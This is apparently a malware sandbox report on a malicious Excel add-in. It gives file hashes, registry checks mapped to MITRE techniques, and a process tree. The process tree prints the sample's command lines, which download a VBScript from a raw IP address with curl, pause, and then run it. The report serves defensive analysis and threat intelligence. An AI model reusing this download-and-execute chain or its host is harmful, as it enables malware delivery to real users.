0677b4886c2833d9922a4de0aa0abc3a1e5579d0808a60fdd8bb3a75e0e7aa07

Analysis

max time kernel
151s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12-10-2023 03:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Size

50KB
MD5

8866d0e530cb613fde59c5476ea6c331
SHA1

e77beeb201303b739a9c4536514e48adc2118900
SHA256

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA512

73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
SSDEEP

1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

me.execmd.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

Processes:

me.exe

pid process

656 me.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

2204 EXCEL.EXE
2204 EXCEL.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
656	me.exe

pid	process
2204	EXCEL.EXE
2204	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2052 timeout.exe

pid	process
2052	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings cmd.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2204 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

2204 EXCEL.EXE
2204 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE
2204 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings	cmd.exe

pid	process
2204	EXCEL.EXE

pid	process
2204	EXCEL.EXE
2204	EXCEL.EXE

pid	process
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEme.execmd.exe

description	pid	process	target process
PID 2204 wrote to memory of 656	2204	EXCEL.EXE	me.exe
PID 2204 wrote to memory of 656	2204	EXCEL.EXE	me.exe
PID 656 wrote to memory of 1776	656	me.exe	cmd.exe
PID 656 wrote to memory of 1776	656	me.exe	cmd.exe
PID 1776 wrote to memory of 2780	1776	cmd.exe	curl.exe
PID 1776 wrote to memory of 2780	1776	cmd.exe	curl.exe
PID 1776 wrote to memory of 2052	1776	cmd.exe	timeout.exe
PID 1776 wrote to memory of 2052	1776	cmd.exe	timeout.exe
PID 1776 wrote to memory of 4344	1776	cmd.exe	WScript.exe
PID 1776 wrote to memory of 4344	1776	cmd.exe	WScript.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2204

C:\Users\Public\me.exe
C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs
3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\system32\curl.exe
C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123
4⤵
PID:2780

C:\Windows\system32\timeout.exe
timeout 10
4⤵
- Delays execution with timeout.exe
PID:2052

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
4⤵
PID:4344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/2204-23-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-11-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-6-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-25-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-7-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-27-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-10-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-26-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-12-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-13-0x00007FFDF73E0000-0x00007FFDF73F0000-memory.dmp

Filesize
64KB

Download
memory/2204-15-0x00007FFDF73E0000-0x00007FFDF73F0000-memory.dmp

Filesize
64KB

Download
memory/2204-16-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-17-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-18-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-19-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-20-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-21-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-22-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-1-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-24-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-8-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-5-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-9-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-28-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-29-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-30-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-4-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-2-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-3-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-37-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-0-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-43-0x00007FFE33B50000-0x00007FFE33B65000-memory.dmp

Filesize
84KB

Download
memory/2204-57-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-60-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-59-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-62-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-61-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-58-0x00007FFDF9B30000-0x00007FFDF9B40000-memory.dmp

Filesize
64KB

Download
memory/2204-63-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-64-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-65-0x00007FFE39AB0000-0x00007FFE39CA5000-memory.dmp

Filesize
2.0MB

Download